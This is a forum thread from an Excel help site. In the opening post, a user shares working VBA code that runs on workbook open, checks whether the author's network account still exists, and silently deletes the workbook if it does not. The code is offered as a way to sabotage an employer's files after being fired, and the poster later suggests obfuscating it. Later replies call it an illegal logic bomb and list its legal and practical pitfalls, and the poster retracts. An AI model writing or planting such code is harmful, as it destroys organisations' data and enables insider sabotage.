How to protect your code if you get fired.

  • Thread starter Thread starter Legacy 139926
  • Start date Start date
L

Legacy 139926

Guest
I intend to share a little piece of code that will hopefully protect the work of people in a similar situation to me.

At my place of work, the management team request that all sorts of "business critical" applications be built in Excel. The reason is simply down to cost saving. Don't get me wrong, I love Excel and use it every single day, but sometimes things can go wrong and I get the blame. This is why it pays to have an IT department build and support a robust, scalable solution. Being a Business Analyst that coincidentally knows how to code, skills that fall far outside of my job description (such as building and later supporting countless applications) are often abused for the benefit of the company. A company that is on a continual search to cut costs in an environment where no job is safe. The following piece of code will run "on open", make sure I am still employed and if not, delete itself.


Code:
[COLOR=Navy]Private Sub [/COLOR]Workbook_Open()
[COLOR=Navy]Dim [/COLOR]objUser
[COLOR=Navy]Dim [/COLOR]strUsername [COLOR=Navy]As String[/COLOR]

strUsername = "InsertUsernameHere" [COLOR=Green]'just chuck in your LAN ID.[/COLOR]
strDomain = "InsertDomainHere"[COLOR=Green] 'Put in your domain here..This is the domain that you would normally log into[/COLOR]
[COLOR=Green]'************************************************************************************************************
'For example if you log into the "ASIAPACIFIC" domain with the LANID: "HAX0R"
'The code would be:
'strUsername = "HAX0R"
'strDomain = "ASIAPACIFIC"
'************************************************************************************************************[/COLOR]

[COLOR=Navy]On Error GoTo[/COLOR] ErrorHandle [COLOR=Green]'So. If it can't "GET" your username object, it means it no longer exists. An
                          'error will result, and the code will scoot down to ErrorHandle[/COLOR]
[COLOR=Navy]Set [/COLOR]objUser = GetObject("WinNT://" & strUsername & "/" & strUsername & ",user")
[COLOR=Navy]Exit Sub[/COLOR][COLOR=Green] 'If it finds your user ID, it will just exit as normal.[/COLOR]

ErrorHandle:

Application.DisplayAlerts = [COLOR=Navy]False[/COLOR][COLOR=Green]'Don't alert user to anything[/COLOR]
ThisWorkbook.ChangeFileAccess xlReadOnly[COLOR=Green] 'Change the way excel uses the file, so that windows doesn't see
                                         'it as "in use".[/COLOR]
Kill ThisWorkbook.FullName [COLOR=Green]'Delete this file[/COLOR]
ThisWorkbook.Close [COLOR=Navy]False [/COLOR][COLOR=Green]'Exit, no saving[/COLOR]

[COLOR=Navy]End Sub[/COLOR]
Regards,
damir
 

Excel Facts

Workdays for a market open Mon, Wed, Friday?
Yes! Use "0101011" for the weekend argument in NETWORKDAYS.INTL or WORKDAY.INTL. The 7 digits start on Monday. 1 means it is a weekend.
Welcome to the Board!

Note that you open yourself up to all sorts of legal ramifications when attempting to do something of this nature, and there have been dozens of conversations about it here over the years.

The primary issue is that if you do not have a contractual agreement with your employer that states what you develop on their time is yours, then it belongs to them. In addition, deleting strictly what you created may not be an issue, however if you take tertiary company information with it when you kill the wb, then you can be on the hook for it, because that DID NOT belong to you.

The same can be said for applications you create on your own time and give access to the company, as an employee or consultant. Without some type of contractual agreement, you can land in a world of hurt by deleting proprietary data that may have been entered by the company into your creation, especially if it creates any disruption of business activity.

Being a Business Analyst that coincidentally knows how to code, skills that fall far outside of my job description (such as building and later supporting countless applications) are often abused for the benefit of the company.

Then you haven't figured out how to leverage that knowledge to your benefit.

If you're getting the axe, then you owe it to the company to let them know about everything you've done, at which time you can offer to support it as a consultant (quite a few people have ended up making substantially more money that way). It's up to them what they want to do from there.

Just remember that malicious actions will damage a reputation faster and more widespread than ones of good faith.
 
Well put.
Do you want to delete this post then, I don't have permissions to do so.
 
Don't worry about it. We'll leave it here for the time being. ;)
 
Wouldn't this be easily bypassed by disabling macros? Assuming someone knows to do so obviously. I tend to disable them in any workbook and check first, but I'm not exactly the typical user. Not since having found this board at least. :biggrin:

Don't you run the risk of having this code trigger accidentally. Say there's a network error somewhere of some kind?

And lastly when trying to get a new job, what do you think your old employer is going to say when presumptive employers ask for a reference?

At the end of the day it's probably much better to be valuable to the employer rather than just unreplaceable...
 
....also, most companies backup the network files each day. I accidentially deleted a file once and IT had the ability to call up a historical list of that file by date (I was rather impressed I must say). Granted I lost some data after the point of the most recent backup date but at least I had 99% of my data. So I think killing the file is not going to do much but cause a minor nuisance until someone gets wise goes into your code (yes, even if you put a password to access your vba code) and deletes the 'kill' procedure.
 
Yeah, I understand, it's not a good idea to do this. Please ignore this thread.

The thought process was, password protect the module, obfuscate the code and not worry about disabling macros, as it would render the workbook useless anyway. Furthermore, VBA & Excel password *******s are considered inappropriate and a policy breach in this place of work.
 
"Furthermore, VBA & Excel password *******s are considered inappropriate and a policy breach in this place of work"

An odd consideration from someone who's prepared to kill company property, something no doubt also against policy :)
 
This is called a logic bomb and it's a horrible idea. Highly illegal. Not only is it a great way to spend a year or two in the clink, get sued for damages, but it's also a really super way to get fired.

Think about it for a second. You're a manager and you have a top-notch best ever employee, and you view their code and see that. It wouldn't matter if you were the second coming, you would be fired.

Now ponder the ramifications of a current or potential employer reading your post even if this never made it into production code.

This should have been titled "How to make your code get you fired".


The other thing to ponder is that even if you password protect a VBA Project and then password protect the file too, your VBA code is still viewable by several well known means. So you can't even prevent this from being found out.

But hey, it's an excellent case for peer review.
 
Last edited:
Hahaha! This kind of thing makes me want to get into ICT
The only real question I have is, what if your username is changed without you realising? (I don't know if it would EVER happen in your environment, but recently in school our user accounts all changed so for example
Previously;
03Ell
Now:
Ell13


Also..If your job is like this? Why are you still working there? Surely life is stressful enough without having to worry about having a job tomorrow.
 

Forum statistics

Threads
1,222,642
Messages
6,167,267
Members
452,107
Latest member
cami_dev

We've detected that you are using an adblocker.

We have a great community of people providing Excel help here, but the hosting costs are enormous. You can help keep this site running by allowing ads on MrExcel.com.
Allow Ads at MrExcel

Which adblocker are you using?

Disable AdBlock

Follow these easy steps to disable AdBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the icon in the browser’s toolbar.
2)Click on the "Pause on this site" option.
Go back

Disable AdBlock Plus

Follow these easy steps to disable AdBlock Plus

1)Click on the icon in the browser’s toolbar.
2)Click on the toggle to disable it for "mrexcel.com".
Go back

Disable uBlock Origin

Follow these easy steps to disable uBlock Origin

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back

Disable uBlock

Follow these easy steps to disable uBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back
Back
Top